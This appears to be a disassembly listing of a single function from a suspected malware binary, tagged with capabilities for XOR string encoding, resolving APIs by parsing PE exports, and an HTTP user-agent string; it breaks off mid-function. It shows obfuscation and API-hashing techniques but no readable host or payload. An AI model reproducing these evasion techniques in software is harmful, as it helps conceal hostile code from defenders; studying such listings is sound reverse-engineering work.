Function at 0x46b0c0
Capabilities:
Encode data using xor
Reference http user-agent string
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x568
push esi
mov dword [esp + 0x4c], ecx
lea ecx, [esp + 0x17c]
push edi
call fcn.004801a0
push eax
mov ecx, 0x4b6d84
call fcn.004093a0
mov eax, dword [esp + 0x194]
cmp eax, 0x10
jb 0x46b106
inc eax
push eax
push dword [esp + 0x184]
call fcn.00409000
add esp, 8
lea ecx, [esp + 0x4d8]
mov dword [esp + 0x190], 0
mov dword [esp + 0x194], 0xf
mov byte [esp + 0x180], 0
call fcn.00485f70
push eax
mov ecx, 0x4b6db4
call fcn.004093a0
mov eax, dword [esp + 0x4ec]
cmp eax, 0x10
jb 0x46b158
inc eax
push eax
push dword [esp + 0x4dc]
call fcn.00409000
add esp, 8
mov dword [esp + 0x4e8], 0
mov dword [esp + 0x4ec], 0xf
mov byte [esp + 0x4d8], 0
mov dword [esp + 0x20], 0x14422
mov eax, dword [esp + 0x20]
xor eax, 0x17
mov dword [esp + 0x24], 0
mov ecx, dword [esp + 0x24]
mov dword [esp + 0x70], eax
xor ecx, 0
mov dword [esp + 0x74], ecx
mov dword [esp + 0x20], 0x17
mov dword [esp + 0x24], 0
mov dword [esp + 0x30], 0
mov dword [esp + 0x34], 0
mov dword [esp + 0x78], 0x88b5
mov dword [esp + 0x7c], 0
mov edx, dword [esp + 0x20]
mov esi, dword [esp + 0x24]
mov eax, dword [esp + 0x30]
add edx, eax
mov ecx, dword [esp + 0x34]
adc esi, ecx
add edx, 1
mov dword [esp + 0x30], edx
adc esi, 0
mov dword [esp + 0x34], esi
mov eax, dword [esp + 0x78]
mov ecx, dword [esp + 0x7c]
mov edx, dword [esp + 0x70]
mov esi, dword [esp + 0x74]
sub edx, eax
mov dword [esp + 0x20], edx
sbb esi, ecx
mov dword [esp + 0x24], esi
mov esi, dword [esp + 0x20]
mov edx, dword [esp + 0x24]
mov ecx, dword [esp + 0x30]
mov eax, dword [esp + 0x34]
push eax
push ecx
push edx
push esi
call fcn.00460cc0
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], edx
mov ecx, dword [esp + 0x20]
mov eax, dword [esp + 0x24]
call fcn.004874c0
xor edi, edi
mov esi, eax
push edi
push 0x14750889
call fcn.0048fc50
add esp, 8
cmp edi, edx
ja 0x46b269
jb 0x46b254
cmp esi, eax
ja 0x46b269
push 0
push 0x1471c2f7
call fcn.0048fc50
add esp, 8
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov edi, dword [0x4bcc20]
mov dword [esp + 0x20], 0xc88a2
mov eax, dword [esp + 0x20]
xor eax, 0x17
mov dword [esp + 0x24], 0
mov ecx, dword [esp + 0x24]
mov dword [esp + 0x70], eax
xor ecx, 0
mov dword [esp + 0x74], ecx
mov dword [esp + 0x30], 0x17
mov dword [esp + 0x34], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0
mov dword [esp + 0x78], 0x88b5
mov dword [esp + 0x7c], 0
mov edx, dword [esp + 0x20]
mov esi, dword [esp + 0x24]
mov eax, dword [esp + 0x30]
add edx, eax
mov ecx, dword [esp + 0x34]
adc esi, ecx
add edx, 1
mov dword [esp + 0x30], edx
adc esi, 0
mov dword [esp + 0x34], esi
mov eax, dword [esp + 0x78]
mov ecx, dword [esp + 0x7c]
mov edx, dword [esp + 0x70]
mov esi, dword [esp + 0x74]
sub edx, eax
mov dword [esp + 0x20], edx
sbb esi, ecx
mov dword [esp + 0x24], esi
mov esi, dword [esp + 0x20]
mov edx, dword [esp + 0x24]
mov ecx, dword [esp + 0x30]
mov eax, dword [esp + 0x34]
push eax
push ecx
push edx
push esi
call fcn.00460cc0
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], edx
mov ecx, dword [esp + 0x20]
mov eax, dword [esp + 0x24]
push ecx
push dword [esp + 0x54]
call edi
mov eax, dword [0x4bcbf4]
mov esi, dword [0x4bcc1c]
push 0
push 0
push 0
push 0x46f990
push 0
push 0
call eax
push eax
call esi
push 0
push 0x1467f1b1
call fcn.0048fc50
add esp, 8
mov byte [esp + 0xf0], 0
mov edi, eax
lea ecx, [esp + 0xf8]
mov dword [esp + 0xa4], edi
push 0
call fcn.0040de80
sub esp, 8
lea ecx, [esp + 0x450]
mov edx, esp
mov dword [edx], 0
mov dword [edx + 4], 0
call fcn.0040c490
add esp, 8
mov dword [esp + 0x3b0], 0x7a30a00d
mov dword [esp + 0x3b4], 0xcb06b2e8
mov dword [esp + 0x3b8], 0x6775e8c6
mov dword [esp + 0x3bc], 0xfe5ca786
movaps xmm1, xmmword [esp + 0x3b0]
lea eax, [esp + 0x3b0]
mov dword [esp + 0x20], 0x115ec961
lea ecx, [esp + 0xf0]
mov dword [esp + 0x24], 0xcb06b29b
mov dword [esp + 0x28], 0x6775e8c6
mov dword [esp + 0x2c], 0xfe5ca786
pxor xmm1, xmmword [esp + 0x20]
push eax
movaps xmmword [esp + 0x3b4], xmm1
call fcn.0040f7b0
mov ecx, eax
lea edx, [esp + 0x448]
call fcn.00409040
add ecx, 8
lea edx, [esp + 0x450]
call fcn.0040fc20
push dword [esp + 0x448]
mov ecx, edx
call fcn.0040da90
sub esp, 8
lea ecx, [esp + 0x440]
mov eax, esp
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.0040c490
add esp, 8
mov dword [esp + 0x320], 0x742ab104
mov dword [esp + 0x324], 0xa46fc1f5
lea eax, [esp + 0x320]
mov dword [esp + 0x328], 0x67759ba8
lea ecx, [esp + 0xf0]
mov dword [esp + 0x32c], 0xfe5ca786
movaps xmm1, xmmword [esp + 0x320]
mov dword [esp + 0x20], 0x115ec961
mov dword [esp + 0x24], 0xcb06b29b
mov dword [esp + 0x28], 0x6775e8c6
mov dword [esp + 0x2c], 0xfe5ca786
pxor xmm1, xmmword [esp + 0x20]
push eax
movaps xmmword [esp + 0x324], xmm1
call fcn.0040f7b0
mov ecx, eax
lea edx, [esp + 0x438]
call fcn.00409040
add ecx, 8
lea edx, [esp + 0x440]
call fcn.0040fc20
push dword [esp + 0x438]
mov ecx, edx
call fcn.0040da90
lea ecx, [esp + 0x2e8]
call fcn.0048b6d0
push 0x1b
push 0x9e2ead53
call fcn.0048fcf0
xor ecx, ecx
add esp, 8
cmp ecx, edx
jb 0x46d66d
ja 0x46b538
cmp dword [esp + 0x2f8], eax
jbe 0x46d66d
cmp dword [esp + 0x2fc], 0x10
lea eax, [esp + 0x2e8]
jb 0x46b550
mov eax, dword [esp + 0x2e8]
push eax
call fcn.0044eb84
mov eax, dword [0x4bcc2c]
lea ecx, [esp + 0x334]
add esp, 4
mov dword [esp + 0x330], 0x7830a016
mov dword [esp + 0x334], 0xe572d7f5
mov dword [esp + 0x338], 0x671984a2
mov dword [esp + 0x33c], 0xfe5ca786
movaps xmm1, xmmword [esp + 0x330]
mov dword [esp + 0x80], 0x115ec961
mov dword [esp + 0x84], 0xcb06b29b
mov dword [esp + 0x88], 0x6775e8c6
mov dword [esp + 0x8c], 0xfe5ca786
pxor xmm1, xmmword [esp + 0x80]
push ecx
movaps xmmword [esp + 0x334], xmm1
call eax
mov ecx, eax
call fcn.004917c0
sub esp, 0x18
mov ecx, esp
push 0x4b6d84
call fcn.00406220
sub esp, 0x18
mov ecx, esp
push 0x4b6d54
call fcn.00406220
lea ecx, [esp + 0x3f4]
call fcn.00481f90
mov dword [esp + 0xb0], 0x88a2
add esp, 0x30
mov eax, dword [esp + 0x80]
mov dword [esp + 0x84], 0
xor eax, 0x17
mov ecx, dword [esp + 0x84]
mov dword [esp + 0x30], eax
xor ecx, 0
mov dword [esp + 0x34], ecx
mov dword [esp + 0x80], 0x17
mov dword [esp + 0x84], 0
mov dword [esp + 0xd8], 0
mov dword [esp + 0xdc], 0
mov dword [esp + 0x20], 0x88b5
mov dword [esp + 0x24], 0
mov edx, dword [esp + 0x80]
mov esi, dword [esp + 0x84]
mov eax, dword [esp + 0xd8]
add edx, eax
mov ecx, dword [esp + 0xdc]
adc esi, ecx
add edx, 1
mov dword [esp + 0xd8], edx
adc esi, 0
mov dword [esp + 0xdc], esi
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x24]
mov edx, dword [esp + 0x30]
mov esi, dword [esp + 0x34]
sub edx, eax
mov dword [esp + 0x80], edx
sbb esi, ecx
mov dword [esp + 0x84], esi
mov esi, dword [esp + 0x80]
mov edx, dword [esp + 0x84]
mov ecx, dword [esp + 0xd8]
mov eax, dword [esp + 0xdc]
push eax
push ecx
push edx
push esi
call fcn.00460cc0
mov dword [esp + 0x80], eax
mov dword [esp + 0x84], edx
mov ecx, dword [esp + 0x80]
mov eax, dword [esp + 0x84]
mov eax, dword [esp + 0x3c8]
mov edx, dword [esp + 0x3c4]
sub eax, edx
mov dword [esp + 0x50], ecx
sar eax, 3
imul eax, eax, 0x38e38e39
mov dword [esp + 0x80], eax
cmp ecx, eax
jae 0x46c6cb
mov edi, edi
lea eax, [ecx + ecx*8]
mov dword [esp + 0x468], 0
lea edi, [edx + eax*8]
mov dword [esp + 0x46c], 0
cmp dword [edi + 0x44], 0x10
lea ecx, [edi + 0x30]
mov eax, dword [ecx + 0x10]
mov dword [esp + 0x40], ecx
mov dword [esp + 0xb8], eax
jb 0x46b779
mov ecx, dword [ecx]
mov dword [esp + 0x40], ecx
cmp eax, 0x10
jae 0x46b7b2
mov eax, dword [ecx + 4]
mov esi, dword [ecx]
mov dword [esp + 0x45c], eax
mov eax, dword [ecx + 8]
mov dword [esp + 0x460], eax
mov eax, dword [ecx + 0xc]
mov dword [esp + 0xb8], esi
mov dword [esp + 0x464], eax
mov dword [esp + 0xb0], 0xf
jmp 0x46b82d
or eax, 0xf
mov dword [esp + 0x4a4], 0x7fffffff
mov dword [esp + 0xb0], eax
mov dword [esp + 0x4d0], eax
cmp eax, 0x7fffffff
jbe 0x46b7e1
mov eax, 0x7fffffff
mov dword [esp + 0xb0], eax
inc eax
push eax
call fcn.00408fd0
add esp, 4
mov esi, eax
lea eax, [esp + 0x2ac]
mov dword [esp + 0x2ac], esi
push eax
lea eax, [esp + 0x45c]
push eax
call fcn.00408fc0
mov ecx, dword [esp + 0xc0]
inc ecx
push ecx
push dword [esp + 0x4c]
push esi
call fcn.0043c680
mov eax, dword [esp + 0x46c]
add esp, 0x14
mov dword [esp + 0xb8], eax
cmp dword [edi + 0x2c], 0x10
lea ecx, [edi + 0x18]
mov edx, dword [ecx + 0x10]
mov dword [esp + 0x40], ecx
mov dword [esp + 0x1b8], 0
mov dword [esp + 0x1bc], 0
mov dword [esp + 0x14], edx
jb 0x46b85d
mov ecx, dword [ecx]
mov dword [esp + 0x40], ecx
cmp edx, 0x10
jae 0x46b8a9
mov eax, dword [ecx + 4]
mov esi, dword [ecx]
mov dword [esp + 0x1ac], eax
mov eax, dword [ecx + 8]
mov dword [esp + 0x1b0], eax
mov eax, dword [ecx + 0xc]
mov dword [esp + 0x1b4], eax
mov eax, 0xf
mov dword [esp + 0x40], esi
mov dword [esp + 0x1a8], esi
mov dword [esp + 0x1b8], edx
mov dword [esp + 0x3c], eax
mov dword [esp + 0x1bc], eax
jmp 0x46b930
mov eax, edx
mov dword [esp + 0x4a0], 0x7fffffff
or eax, 0xf
mov dword [esp + 0x3c], eax
mov dword [esp + 0x4d4], eax
cmp eax, 0x7fffffff
jbe 0x46b8d4
mov eax, 0x7fffffff
mov dword [esp + 0x3c], eax
inc eax
push eax
call fcn.00408fd0
add esp, 4
mov esi, eax
lea eax, [esp + 0x2b0]
mov dword [esp + 0x2b0], esi
push eax
lea eax, [esp + 0x1ac]
push eax
call fcn.00408fc0
mov ecx, dword [esp + 0x1c]
inc ecx
push ecx
push dword [esp + 0x4c]
push esi
call fcn.0043c680
mov eax, dword [esp + 0x28]
add esp, 0x14
mov dword [esp + 0x1b8], eax
mov eax, dword [esp + 0x3c]
mov dword [esp + 0x1bc], eax
mov eax, dword [esp + 0x1a8]
mov dword [esp + 0x40], eax
cmp dword [edi + 0x14], 0x10
mov ecx, dword [edi + 0x10]
mov dword [esp + 0x1d0], 0
mov dword [esp + 0x1d4], 0
mov dword [esp + 0x6c], ecx
jb 0x46b955
mov edi, dword [edi]
cmp ecx, 0x10
jae 0x46b9a4
mov eax, dword [edi]
mov dword [esp + 0xa8], eax
mov dword [esp + 0x1c0], eax
mov eax, dword [edi + 4]
mov dword [esp + 0x1c4], eax
mov eax, dword [edi + 8]
mov dword [esp + 0x1c8], eax
mov eax, dword [edi + 0xc]
mov dword [esp + 0x1cc], eax
mov eax, 0xf
mov dword [esp + 0x1d0], ecx
mov dword [esp + 0x38], eax
mov dword [esp + 0x1d4], eax
jmp 0x46ba2e
mov eax, ecx
mov dword [esp + 0x4cc], 0x7fffffff
or eax, 0xf
mov dword [esp + 0x38], eax
mov dword [esp + 0x4c8], eax
cmp eax, 0x7fffffff
jbe 0x46b9cf
mov eax, 0x7fffffff
mov dword [esp + 0x38], eax
inc eax
push eax
call fcn.00408fd0
add esp, 4
mov esi, eax
lea eax, [esp + 0x2bc]
mov dword [esp + 0x2bc], esi
push eax
lea eax, [esp + 0x1c4]
push eax
call fcn.00408fc0
mov ecx, dword [esp + 0x74]
inc ecx
push ecx
push edi
push esi
call fcn.0043c680
mov eax, dword [esp + 0x80]
add esp, 0x14
mov dword [esp + 0x1d0], eax
mov eax, dword [esp + 0x38]
mov dword [esp + 0x1d4], eax
mov eax, dword [esp + 0x1c0]
mov dword [esp + 0xa8], eax
push 0xc00
call fcn.00418d68
add esp, 4
mov dword [esp + 0x68], eax
push 0xc00
push 0
push eax
call fcn.0043c520
add esp, 0xc
mov dword [esp + 0x58], 0
mov dword [esp + 0x5c], 0
push 0x18
call fcn.00408fd0
mov edi, eax
lea edx, [esp + 0x104]
add esp, 4
mov dword [esp + 0x1c], edi
mov ecx, edi
mov dword [esp + 0x100], edi
call fcn.004096f0
lea ecx, [edi + 4]
call fcn.004096f0
lea ecx, [edi + 8]
call fcn.004096f0
mov word [edi + 0xc], 0x101
mov ecx, edi
mov dword [esp + 0x58], edi
mov dword [esp + 0x104], 0xe4
mov eax, dword [edi + 4]
mov dword [esp + 0x4c], eax
mov dword [esp + 0x18], 0
cmp byte [eax + 0xd], 0
jne 0x46baf0
cmp dword [eax + 0x10], 0xe4
mov dword [esp + 0x4c], eax
jge 0x46bada
mov eax, dword [eax + 8]
mov dword [esp + 0x18], 0
jmp 0x46bae6
mov ecx, eax
mov dword [esp + 0x18], 1
mov eax, dword [eax]
cmp byte [eax + 0xd], 0
je 0x46bac0
mov edi, dword [esp + 0x1c]
cmp byte [ecx + 0xd], 0
jne 0x46bb0c
cmp dword [ecx + 0x10], 0xe4
jg 0x46bb0c
mov byte [esp + 0x234], 0
jmp 0x46bbea
cmp dword [esp + 0x5c], 0xaaaaaaa
je 0x46da1e
lea eax, [esp + 0x104]
mov dword [esp + 0xe0], edi
mov dword [esp + 0x4c4], eax
lea eax, [esp + 0x58]
push 0x18
mov dword [esp + 0x23c], eax
call fcn.00408fd0
mov dl, byte [0x4aa8fb]
mov esi, eax
mov byte [esp + 0x74], dl
lea eax, [esp + 0x108]
mov dword [esp + 0x240], esi
lea ecx, [esi + 0x10]
push ecx
mov edx, esp
push dword [esp + 0x78]
mov dword [edx], eax
call fcn.00417970
lea edx, [esp + 0xe0]
mov ecx, esi
call fcn.004096f0
lea ecx, [esi + 4]
call fcn.004096f0
lea ecx, [esi + 8]
call fcn.004096f0
lea edx, [esp + 0x24c]
mov word [esi + 0xc], 0
lea ecx, [esp + 0x23c]
mov dword [esp + 0x24c], 0
call fcn.00409b30
mov ecx, dword [esp + 0x23c]
mov esi, eax
test ecx, ecx
je 0x46bbc6
push 0x18
push ecx
call fcn.00409000
add esp, 8
push esi
push dword [esp + 0x1c]
lea ecx, [esp + 0x60]
push dword [esp + 0x54]
call fcn.004098a0
mov edi, dword [esp + 0x58]
mov ecx, eax
mov byte [esp + 0x234], 1
mov dword [esp + 0x1c], edi
cmp dword [ecx + 0x14], 5
mov dword [esp + 0x230], ecx
jne 0x46bc1b
push dword [edi + 4]
lea eax, [esp + 0x5c]
push eax
mov ecx, eax
call fcn.004102f0
mov dword [edi + 4], edi
mov dword [edi], edi
mov dword [edi + 8], edi
mov dword [esp + 0x5c], 0
jmp 0x46bd69
mov edx, dword [esp + 0x5c]
mov ecx, edi
mov dword [esp + 0x120], edx
mov eax, dword [edi + 4]
mov dword [esp + 0x4c], eax
mov dword [esp + 0x18], 0
cmp byte [eax + 0xd], 0
jne 0x46bc6c
lea ecx, [ecx]
mov dword [esp + 0x4c], eax
cmp dword [eax + 0x10], edx
jge 0x46bc56
mov eax, dword [eax + 8]
mov dword [esp + 0x18], 0
jmp 0x46bc62
mov ecx, eax
mov dword [esp + 0x18], 1
mov eax, dword [eax]
cmp byte [eax + 0xd], 0
je 0x46bc40
mov edi, dword [esp + 0x1c]
cmp byte [ecx + 0xd], 0
jne 0x46bc84
cmp edx, dword [ecx + 0x10]
jl 0x46bc84
mov byte [esp + 0x224], 0
jmp 0x46bd5b
cmp edx, 0xaaaaaaa
je 0x46da1e
lea eax, [esp + 0x120]
mov dword [esp + 0xe4], edi
mov dword [esp + 0x4b8], eax
lea eax, [esp + 0x58]
push 0x18
mov dword [esp + 0x22c], eax
call fcn.00408fd0
mov dl, byte [0x4aa8fb]
mov esi, eax
mov byte [esp + 0x7c], dl
lea eax, [esp + 0x124]
mov dword [esp + 0x230], esi
lea ecx, [esi + 0x10]
push ecx
mov edx, esp
push dword [esp + 0x80]
mov dword [edx], eax
call fcn.00417970
lea edx, [esp + 0xe4]
mov ecx, esi
call fcn.004096f0
lea ecx, [esi + 4]
call fcn.004096f0
lea ecx, [esi + 8]
call fcn.004096f0
lea edx, [esp + 0x248]
mov word [esi + 0xc], 0
lea ecx, [esp + 0x22c]
mov dword [esp + 0x248], 0
call fcn.00409b30
mov ecx, dword [esp + 0x22c]
mov esi, eax
test ecx, ecx
je 0x46bd3f
push 0x18
push ecx
call fcn.00409000
add esp, 8
push esi
push dword [esp + 0x1c]
lea ecx, [esp + 0x60]
push dword [esp + 0x54]
call fcn.004098a0
mov ecx, eax
mov byte [esp + 0x224], 1
mov dword [esp + 0x220], ecx
mov dword [ecx + 0x14], 5
mov eax, dword [esp + 0x58]
push dword [eax + 4]
lea eax, [esp + 0x5c]
push eax
mov ecx, eax
call fcn.004102f0
push 0x18
push dword [esp + 0x5c]
call fcn.00409000
add esp, 8
lea eax, [esp + 0x1a8]
cmp dword [esp + 0x3c], 0x10
jb 0x46bd9c
mov eax, dword [esp + 0x40]
push dword [esp + 0x14]
mov esi, dword [esp + 0x6c]
push eax
push esi
call fcn.0043c680
add esp, 0xc
lea eax, [esp + 0x1c0]
cmp dword [esp + 0x38], 0x10
jb 0x46bdc3
mov eax, dword [esp + 0xa8]
push dword [esp + 0x6c]
lea ecx, [esi + 0x400]
push eax
push ecx
call fcn.0043c680
add esp, 0xc
mov dword [esp + 0x60], 0
mov dword [esp + 0x64], 0
push 0x18
call fcn.00408fd0
mov edi, eax
lea edx, [esp + 0x70]
add esp, 4
mov dword [esp + 0x1c], edi
mov ecx, edi
mov dword [esp + 0x6c], edi
call fcn.004096f0
lea ecx, [edi + 4]
call fcn.004096f0
lea ecx, [edi + 8]
call fcn.004096f0
mov word [edi + 0xc], 0x101
mov ecx, edi
mov dword [esp + 0x60], edi
mov dword [esp + 0x4c], 0xe4
mov eax, dword [edi + 4]
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], 0
cmp byte [eax + 0xd], 0
jne 0x46be70
nop
cmp dword [eax + 0x10], 0xe4
mov dword [esp + 0x18], eax
jge 0x46be5a
mov eax, dword [eax + 8]
mov dword [esp + 0x14], 0
jmp 0x46be66
mov ecx, eax
mov dword [esp + 0x14], 1
mov eax, dword [eax]
cmp byte [eax + 0xd], 0
je 0x46be40
mov edi, dword [esp + 0x1c]
cmp byte [ecx + 0xd], 0
jne 0x46be8c
cmp dword [ecx + 0x10], 0xe4
jg 0x46be8c
mov byte [esp + 0x214], 0
jmp 0x46bf64
cmp dword [esp + 0x64], 0xaaaaaaa
je 0x46da1e
lea eax, [esp + 0x4c]
mov dword [esp + 0xe8], edi
mov dword [esp + 0x4b4], eax
lea eax, [esp + 0x60]
push 0x18
mov dword [esp + 0x21c], eax
call fcn.00408fd0
mov dl, byte [0x4aa8fb]
mov esi, eax
mov byte [esp + 0x34], dl
lea eax, [esp + 0x50]
mov dword [esp + 0x220], esi
lea ecx, [esi + 0x10]
push ecx
mov edx, esp
push dword [esp + 0x38]
mov dword [edx], eax
call fcn.00417970
lea edx, [esp + 0xe8]
mov ecx, esi
call fcn.004096f0
lea ecx, [esi + 4]
call fcn.004096f0
lea ecx, [esi + 8]
call fcn.004096f0
lea edx, [esp + 0x2b4]
mov word [esi + 0xc], 0
lea ecx, [esp + 0x21c]
mov dword [esp + 0x2b4], 0
call fcn.00409b30
mov ecx, dword [esp + 0x21c]
mov esi, eax
test ecx, ecx
je 0x46bf40
push 0x18
push ecx
call fcn.00409000
add esp, 8
push esi
push dword [esp + 0x18]
lea ecx, [esp + 0x68]
push dword [esp + 0x20]
call fcn.004098a0
mov edi, dword [esp + 0x60]
mov ecx, eax
mov byte [esp + 0x214], 1
mov dword [esp + 0x1c], edi
cmp dword [ecx + 0x14], 5
mov dword [esp + 0x210], ecx
jne 0x46bf95
push dword [edi + 4]
lea eax, [esp + 0x64]
push eax
mov ecx, eax
call fcn.004102f0
mov dword [edi + 4], edi
mov dword [edi], edi
mov dword [edi + 8], edi
mov dword [esp + 0x64], 0
jmp 0x46c0dd
mov edx, dword [esp + 0x64]
mov ecx, edi
mov dword [esp + 0x11c], edx
mov eax, dword [edi + 4]
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], 0
cmp byte [eax + 0xd], 0
jne 0x46bfe3
mov dword [esp + 0x18], eax
cmp dword [eax + 0x10], edx
jge 0x46bfcd
mov eax, dword [eax + 8]
mov dword [esp + 0x14], 0
jmp 0x46bfd9
mov ecx, eax
mov dword [esp + 0x14], 1
mov eax, dword [eax]
cmp byte [eax + 0xd], 0
je 0x46bfb7
mov edi, dword [esp + 0x1c]
cmp byte [ecx + 0xd], 0
jne 0x46bffb
cmp edx, dword [ecx + 0x10]
jl 0x46bffb
mov byte [esp + 0x204], 0
jmp 0x46c0cf
cmp edx, 0xaaaaaaa
je 0x46da1e
lea eax, [esp + 0x11c]
mov dword [esp + 0xec], edi
mov dword [esp + 0x550], eax
lea eax, [esp + 0x60]
push 0x18
mov dword [esp + 0x20c], eax
call fcn.00408fd0
mov dl, byte [0x4aa8fb]
mov esi, eax
mov byte [esp + 0x24], dl
lea eax, [esp + 0x120]
mov dword [esp + 0x210], esi
lea ecx, [esi + 0x10]
push ecx
mov edx, esp
push dword [esp + 0x28]
mov dword [edx], eax
call fcn.00417970
lea edx, [esp + 0xec]
mov ecx, esi
call fcn.004096f0
lea ecx, [esi + 4]
call fcn.004096f0
lea ecx, [esi + 8]
call fcn.004096f0
lea edx, [esp + 0x244]
mov word [esi + 0xc], 0
lea ecx, [esp + 0x20c]
mov dword [esp + 0x244], 0
call fcn.00409b30
mov ecx, dword [esp + 0x20c]
mov esi, eax
test ecx, ecx
je 0x46c0b3
push 0x18
push ecx
call fcn.00409000
add esp, 8
push esi
push dword [esp + 0x18]
lea ecx, [esp + 0x68]
push dword [esp + 0x20]
call fcn.004098a0
mov ecx, eax
mov byte [esp + 0x204], 1
mov dword [esp + 0x200], ecx
mov dword [ecx + 0x14], 5
mov eax, dword [esp + 0x60]
push dword [eax + 4]
lea eax, [esp + 0x64]
push eax
mov ecx, eax
call fcn.004102f0
push 0x18
push dword [esp + 0x64]
call fcn.00409000
push 0x1b
push 0x9e2eb923
call fcn.0048fcf0
add esp, 0x10
lea ecx, [esp + 0x508]
mov edx, eax
call fcn.0048b690
mov esi, eax
mov dword [esp + 0x340], 0x115ec93d
lea eax, [esp + 0x340]
mov dword [esp + 0x344], 0xcb06b29b
push eax
mov dword [esp + 0x34c], 0x6775e8c6
lea eax, [esp + 0x2ec]
mov dword [esp + 0x350], 0xfe5ca786
movaps xmm1, xmmword [esp + 0x344]
push eax
mov dword [esp + 0x138], 0x115ec961
lea eax, [esp + 0x4f8]
mov dword [esp + 0x13c], 0xcb06b29b
mov dword [esp + 0x140], 0x6775e8c6
mov dword [esp + 0x144], 0xfe5ca786
pxor xmm1, xmmword [esp + 0x138]
push eax
movaps xmmword [esp + 0x34c], xmm1
call fcn.00407b60
add esp, 0xc
push esi
push eax
lea eax, [esp + 0x478]
push eax
call fcn.00407cb0
mov eax, dword [esp + 0x510]
add esp, 0xc
cmp eax, 0x10
jb 0x46c1da
inc eax
push eax
push dword [esp + 0x4f4]
call fcn.00409000
add esp, 8
mov eax, dword [esp + 0x51c]
mov dword [esp + 0x500], 0
mov dword [esp + 0x504], 0xf
mov byte [esp + 0x4f0], 0
cmp eax, 0x10
jb 0x46c215
inc eax
push eax
push dword [esp + 0x50c]
call fcn.00409000
add esp, 8
cmp dword [esp + 0x484], 0x10
lea eax, [esp + 0x470]
mov edi, dword [esp + 0x470]
mov dword [esp + 0x518], 0
mov dword [esp + 0x51c], 0xf
mov byte [esp + 0x508], 0
jb 0x46c24d
mov eax, edi
push dword [esp + 0x480]
mov esi, dword [esp + 0x6c]
push eax
add esi, 0x800
push esi
call fcn.0043c680
add esp, 0xc
mov dword [esp + 0x350], 0x612abd09
mov dword [esp + 0x354], 0xe42988e8
lea eax, [esp + 0x350]
mov dword [esp + 0x358], 0x6775e8c6
mov dword [esp + 0x35c], 0xfe5ca786
movaps xmm1, xmmword [esp + 0x350]
push eax
push dword [esp + 0x6c]
mov dword [esp + 0x148], 0x115ec961
mov dword [esp + 0x14c], 0xcb06b29b
mov dword [esp + 0x150], 0x6775e8c6
mov dword [esp + 0x154], 0xfe5ca786
pxor xmm1, xmmword [esp + 0x148]
movaps xmmword [esp + 0x358], xmm1
call fcn.0043beb0
add esp, 8
test eax, eax
mov eax, dword fs:[0x2c]
setne byte [esp + 0xd8]
mov ecx, dword [eax]
mov eax, dword [0x4bcf3c]
cmp eax, dword [ecx + 4]
jg 0x46d9c7
mov ecx, dword [0x4bcf34]
mov eax, ecx
mov edx, dword [0x4bcf30]
sub eax, edx
sar eax, 2
cmp eax, 0x28
jae 0x46c352
mov dword [esp + 0x240], eax
cmp ecx, dword [0x4bcf38]
je 0x46c342
mov dword [ecx], eax
add dword [0x4bcf34], 4
jmp 0x46c358
lea eax, [esp + 0x240]
push eax
push ecx
call fcn.00410340
jmp 0x46c358
mov dword [0x4bcf34], edx
push 0x64
push ecx
push dword [esp + 0xe0]
mov edx, esi
mov esi, dword [esp + 0x74]
mov ecx, esi
call fcn.00491d40
add esp, 0xc
test eax, eax
jne 0x46c640
mov dword [esp + 0x2e0], eax
mov byte [esp + 0x2d0], al
lea eax, [esp + 0x360]
mov dword [esp + 0x360], 0x612abd09
mov dword [esp + 0x364], 0xe42988e8
mov dword [esp + 0x368], 0x6775e8c6
mov dword [esp + 0x36c], 0xfe5ca786
mov dword [esp + 0x2e4], 0xf
movaps xmm1, xmmword [esp + 0x360]
push eax
mov dword [esp + 0x94], 0x115ec961
lea eax, [esi + 0x400]
mov dword [esp + 0x98], 0xcb06b29b
mov dword [esp + 0x9c], 0x6775e8c6
mov dword [esp + 0xa0], 0xfe5ca786
pxor xmm1, xmmword [esp + 0x94]
push eax
movaps xmmword [esp + 0x368], xmm1
call fcn.0043beb0
push 0x80
mov esi, eax
call fcn.00418d68
mov edi, eax
add esp, 0xc
xor eax, eax
mov dword [edi + 0x28], 0
mov dword [edi + 0x2c], 7
mov word [edi + 0x18], ax
mov dword [edi + 0x40], eax
mov dword [edi + 0x44], 7
mov word [edi + 0x30], ax
mov dword [edi + 0x58], eax
mov dword [edi + 0x5c], 0xf
mov byte [edi + 0x48], al
mov dword [edi + 0x70], eax
mov dword [edi + 0x74], 0xf
mov byte [edi + 0x60], al
mov dword [edi + 0xc], str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_74.0.3729.169_Safari_537.36
push 0x1b
test esi, esi
je 0x46c479
push 0x9e2eb2bd
jmp 0x46c47e
push 0x9e2eb23f
call fcn.0048fcf0
add esp, 8
mov esi, eax
push 0
push 0x1488ab05
call fcn.0048fc50
sub esp, 0x10
mov dword [esp + 0x34], eax
mov ecx, esp
xor eax, eax
push 0x31
push 0x4aa790
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
mov word [ecx], ax
call fcn.0040e360
sub esp, 0x18
mov ecx, esp
push 0
push 0x4aa67e
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
call fcn.004072f0
mov ecx, dword [esp + 0x98]
sub esp, 0x18
mov edx, esp
add ecx, 0x400
lea eax, [ecx + 1]
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov byte [edx], 0
mov dword [esp + 0x5c], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x46c508
sub ecx, dword [esp + 0x5c]
mov eax, dword [esp + 0xb0]
push ecx
add eax, 0x400
mov ecx, edx
push eax
call fcn.004072f0
push 0
lea eax, [esp + 0x31c]
mov ecx, edi
push eax
push esi
push dword [esp + 0x70]
call fcn.004908e0
cmp dword [esp + 0x2e0], 0
je 0x46c5fe
sub esp, 0x18
lea eax, [esp + 0x2e8]
mov ecx, esp
push eax
call fcn.00406220
mov esi, dword [esp + 0x80]
sub esp, 0x18
mov edx, esp
add esi, 0x800
mov ecx, esi
mov dword [edx + 0x10], 0
